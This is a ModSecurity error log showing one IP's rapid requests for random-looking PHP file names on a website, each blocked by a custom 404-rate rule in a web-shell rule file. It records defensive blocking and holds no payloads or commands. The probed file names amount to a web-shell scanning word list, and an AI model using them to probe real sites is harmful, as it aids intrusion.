[Sun Jan 04 22:14:31.339122 2026] [:error] [pid 48727:tid 48780] [client 4.241.234.12:15548] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hgm.php"] [unique_id "aVp1x_gJtUs-E_QT0ibZtgAAA1c"]
[Sun Jan 04 22:14:31.634283 2026] [:error] [pid 48633:tid 48647] [client 4.241.234.12:15452] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hgm.php"] [unique_id "aVp1x3pmEoQIuLH2aWhH-wAAAEw"]
[Sun Jan 04 22:14:31.913617 2026] [:error] [pid 48727:tid 48771] [client 4.241.234.12:15444] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hgm.php"] [unique_id "aVp1x_gJtUs-E_QT0ibZuAAAA04"]
[Sun Jan 04 22:14:32.262564 2026] [:error] [pid 45863:tid 45871] [client 4.241.234.12:15446] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hgm.php"] [unique_id "aVp1yFGr1mgeue1bWvTYDwAAAAY"]
[Sun Jan 04 22:14:32.651848 2026] [:error] [pid 48728:tid 48807] [client 4.241.234.12:15367] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/agdew.php"] [unique_id "aVp1yJF4chjDNwRpCDSPSwAAA9c"]
[Sun Jan 04 22:14:33.032755 2026] [:error] [pid 29351:tid 29400] [client 4.241.234.12:15403] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/agdew.php"] [unique_id "aVp1yZtGiMsRmNcKXvpHSgAAAtA"]
[Sun Jan 04 22:14:33.352268 2026] [:error] [pid 48728:tid 48799] [client 4.241.234.12:15380] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/agdew.php"] [unique_id "aVp1yZF4chjDNwRpCDSPTAAAA88"]
[Sun Jan 04 22:14:33.673249 2026] [:error] [pid 48667:tid 48713] [client 4.241.234.12:15607] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/agdew.php"] [unique_id "aVp1yXO6aihVIlrNAPj38QAAARA"]
[Sun Jan 04 22:14:33.978769 2026] [:error] [pid 43583:tid 43607] [client 4.241.234.12:15481] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ker.php"] [unique_id "aVp1yeZbrSRUiJ-RX9ZCZQAAAVI"]
[Sun Jan 04 22:14:34.409441 2026] [:error] [pid 29351:tid 29408] [client 4.241.234.12:15529] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ker.php"] [unique_id "aVp1yptGiMsRmNcKXvpHTQAAAtg"]
[Sun Jan 04 22:14:34.651870 2026] [:error] [pid 30985:tid 31017] [client 4.241.234.12:15565] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ker.php"] [unique_id "aVp1ykisiM0XfzVcTWC0eAAAAcM"]
[Sun Jan 04 22:14:35.087418 2026] [:error] [pid 48667:tid 48704] [client 4.241.234.12:15474] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ker.php"] [unique_id "aVp1y3O6aihVIlrNAPj39QAAAQc"]
[Sun Jan 04 22:14:35.398191 2026] [:error] [pid 29351:tid 29384] [client 4.241.234.12:15414] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/efa4f.php"] [unique_id "aVp1y5tGiMsRmNcKXvpHTgAAAsA"]
[Sun Jan 04 22:14:35.813033 2026] [:error] [pid 43583:tid 43598] [client 4.241.234.12:15418] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/efa4f.php"] [unique_id "aVp1y-ZbrSRUiJ-RX9ZCaQAAAUk"]
[Sun Jan 04 22:14:36.074986 2026] [:error] [pid 42666:tid 42721] [client 4.241.234.12:15364] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/efa4f.php"] [unique_id "aVp1zPc221c7vwWrOjcVEwAAAxg"]
[Sun Jan 04 22:14:36.419300 2026] [:error] [pid 29351:tid 29398] [client 4.241.234.12:15433] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/efa4f.php"] [unique_id "aVp1zJtGiMsRmNcKXvpHTwAAAs4"]
[Sun Jan 04 22:14:36.676384 2026] [:error] [pid 48667:tid 48718] [client 4.241.234.12:15404] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zuk.php"] [unique_id "aVp1zHO6aihVIlrNAPj3-AAAARU"]
[Sun Jan 04 22:14:37.023212 2026] [:error] [pid 45949:tid 45976] [client 4.241.234.12:15472] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zuk.php"] [unique_id "aVp1zaWUhIYCdxgkhpBP6QAAAhY"]
[Sun Jan 04 22:14:37.287987 2026] [:error] [pid 45950:tid 46004] [client 4.241.234.12:15362] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zuk.php"] [unique_id "aVp1zVx-3HUGZIlAI-5RuQAAA5Y"]
[Sun Jan 04 22:14:37.614267 2026] [:error] [pid 45950:tid 46000] [client 4.241.234.12:15562] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zuk.php"] [unique_id "aVp1zVx-3HUGZIlAI-5RugAAA5I"]
[Sun Jan 04 22:14:37.956177 2026] [:error] [pid 48667:tid 48721] [client 4.241.234.12:15386] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tro.php"] [unique_id "aVp1zXO6aihVIlrNAPj4AQAAARg"]
[Sun Jan 04 22:14:38.508686 2026] [:error] [pid 30985:tid 31028] [client 4.241.234.12:15345] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tro.php"] [unique_id "aVp1zkisiM0XfzVcTWC0eQAAAc4"]
[Sun Jan 04 22:14:38.895327 2026] [:error] [pid 48727:tid 48768] [client 4.241.234.12:15547] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tro.php"] [unique_id "aVp1zvgJtUs-E_QT0ibZvAAAA0s"]
[Sun Jan 04 22:14:39.167544 2026] [:error] [pid 48667:tid 48716] [client 4.241.234.12:15497] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tro.php"] [unique_id "aVp1z3O6aihVIlrNAPj4BQAAARM"]
[Sun Jan 04 22:14:39.556121 2026] [:error] [pid 43583:tid 43608] [client 4.241.234.12:15300] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/skj.php"] [unique_id "aVp1z-ZbrSRUiJ-RX9ZCawAAAVM"]
[Sun Jan 04 22:14:39.886642 2026] [:error] [pid 48727:tid 48778] [client 4.241.234.12:15423] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/skj.php"] [unique_id "aVp1z_gJtUs-E_QT0ibZvgAAA1U"]
[Sun Jan 04 22:14:40.192239 2026] [:error] [pid 43583:tid 43610] [client 4.241.234.12:15385] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/skj.php"] [unique_id "aVp10OZbrSRUiJ-RX9ZCbAAAAVU"]
[Sun Jan 04 22:14:40.469719 2026] [:error] [pid 48667:tid 48707] [client 4.241.234.12:15516] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/skj.php"] [unique_id "aVp10HO6aihVIlrNAPj4BwAAAQo"]
[Sun Jan 04 22:14:40.760270 2026] [:error] [pid 48633:tid 48645] [client 4.241.234.12:15479] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aol7.php"] [unique_id "aVp10HpmEoQIuLH2aWhH_QAAAEo"]
[Sun Jan 04 22:14:41.075626 2026] [:error] [pid 48728:tid 48793] [client 4.241.234.12:15551] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aol7.php"] [unique_id "aVp10ZF4chjDNwRpCDSPUQAAA8k"]
[Sun Jan 04 22:14:41.378025 2026] [:error] [pid 45950:tid 45995] [client 4.241.234.12:15365] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aol7.php"] [unique_id "aVp10Vx-3HUGZIlAI-5RvAAAA40"]
[Sun Jan 04 22:14:41.653904 2026] [:error] [pid 45863:tid 45874] [client 4.241.234.12:15397] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aol7.php"] [unique_id "aVp10VGr1mgeue1bWvTYEQAAAAk"]
[Sun Jan 04 22:14:41.979951 2026] [:error] [pid 43583:tid 43599] [client 4.241.234.12:15495] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ad24f.php"] [unique_id "aVp10eZbrSRUiJ-RX9ZCbQAAAUo"]
[Sun Jan 04 22:14:42.276285 2026] [:error] [pid 48727:tid 48776] [client 4.241.234.12:15346] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ad24f.php"] [unique_id "aVp10vgJtUs-E_QT0ibZwAAAA1M"]
[Sun Jan 04 22:14:42.602376 2026] [:error] [pid 45950:tid 45987] [client 4.241.234.12:15370] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ad24f.php"] [unique_id "aVp10lx-3HUGZIlAI-5RvwAAA4U"]
[Sun Jan 04 22:14:42.842804 2026] [:error] [pid 48728:tid 48792] [client 4.241.234.12:15392] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ad24f.php"] [unique_id "aVp10pF4chjDNwRpCDSPVAAAA8g"]
[Sun Jan 04 22:14:43.141995 2026] [:error] [pid 48633:tid 48639] [client 4.241.234.12:15511] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/waff.php"] [unique_id "aVp103pmEoQIuLH2aWhH_wAAAEQ"]
[Sun Jan 04 22:14:43.466514 2026] [:error] [pid 29351:tid 29396] [client 4.241.234.12:15389] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/waff.php"] [unique_id "aVp105tGiMsRmNcKXvpHUgAAAsw"]
[Sun Jan 04 22:14:43.715347 2026] [:error] [pid 45950:tid 45983] [client 4.241.234.12:15466] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/waff.php"] [unique_id "aVp101x-3HUGZIlAI-5RwAAAA4E"]
[Sun Jan 04 22:14:44.013708 2026] [:error] [pid 45949:tid 45954] [client 4.241.234.12:15375] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/waff.php"] [unique_id "aVp11KWUhIYCdxgkhpBP8AAAAgA"]
[Sun Jan 04 22:14:44.295865 2026] [:error] [pid 45863:tid 45884] [client 4.241.234.12:15415] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/klwc.php"] [unique_id "aVp11FGr1mgeue1bWvTYEwAAABM"]
[Sun Jan 04 22:14:44.581128 2026] [:error] [pid 48727:tid 48774] [client 4.241.234.12:17532] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/klwc.php"] [unique_id "aVp11PgJtUs-E_QT0ibZwQAAA1E"]
[Sun Jan 04 22:14:44.925997 2026] [:error] [pid 45863:tid 45880] [client 4.241.234.12:15543] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/klwc.php"] [unique_id "aVp11FGr1mgeue1bWvTYFwAAAA8"]
[Sun Jan 04 22:14:45.240117 2026] [:error] [pid 45950:tid 46001] [client 4.241.234.12:15486] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/klwc.php"] [unique_id "aVp11Vx-3HUGZIlAI-5RwQAAA5M"]
[Sun Jan 04 22:14:45.484987 2026] [:error] [pid 45950:tid 45999] [client 4.241.234.12:15407] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zeal.php"] [unique_id "aVp11Vx-3HUGZIlAI-5RwgAAA5E"]
[Sun Jan 04 22:14:45.834358 2026] [:error] [pid 30985:tid 31038] [client 4.241.234.12:15378] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zeal.php"] [unique_id "aVp11UisiM0XfzVcTWC0fAAAAdg"]
[Sun Jan 04 22:14:46.092521 2026] [:error] [pid 48727:tid 48759] [client 4.241.234.12:15337] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zeal.php"] [unique_id "aVp11vgJtUs-E_QT0ibZxAAAA0I"]
[Sun Jan 04 22:14:46.347606 2026] [:error] [pid 48667:tid 48697] [client 4.241.234.12:15462] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zeal.php"] [unique_id "aVp11nO6aihVIlrNAPj4CAAAAQA"]
[Sun Jan 04 22:14:46.661173 2026] [:error] [pid 48667:tid 48701] [client 4.241.234.12:17457] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aVp11nO6aihVIlrNAPj4CgAAAQQ"]
[Sun Jan 04 22:14:46.924848 2026] [:error] [pid 48727:tid 48770] [client 4.241.234.12:15381] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aVp11vgJtUs-E_QT0ibZxQAAA00"]
[Sun Jan 04 22:14:47.240571 2026] [:error] [pid 48727:tid 48764] [client 4.241.234.12:15453] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aVp11_gJtUs-E_QT0ibZxwAAA0c"]
[Sun Jan 04 22:14:47.572956 2026] [:error] [pid 48727:tid 48765] [client 4.241.234.12:15379] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aVp11_gJtUs-E_QT0ibZyQAAA0g"]
[Sun Jan 04 22:14:47.942922 2026] [:error] [pid 42666:tid 42716] [client 4.241.234.12:15374] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app.php"] [unique_id "aVp11_c221c7vwWrOjcVMgAAAxM"]
[Sun Jan 04 22:14:48.191675 2026] [:error] [pid 48727:tid 48767] [client 4.241.234.12:15482] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app.php"] [unique_id "aVp12PgJtUs-E_QT0ibZywAAA0o"]
[Sun Jan 04 22:14:48.442097 2026] [:error] [pid 48727:tid 48768] [client 4.241.234.12:15368] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app.php"] [unique_id "aVp12PgJtUs-E_QT0ibZzAAAA0s"]
[Sun Jan 04 22:14:48.720160 2026] [:error] [pid 45950:tid 45993] [client 4.241.234.12:15330] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app.php"] [unique_id "aVp12Fx-3HUGZIlAI-5RxgAAA4s"]
[Sun Jan 04 22:14:49.110135 2026] [:error] [pid 45949:tid 45960] [client 4.241.234.12:17498] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/33.php"] [unique_id "aVp12aWUhIYCdxgkhpBP8wAAAgY"]
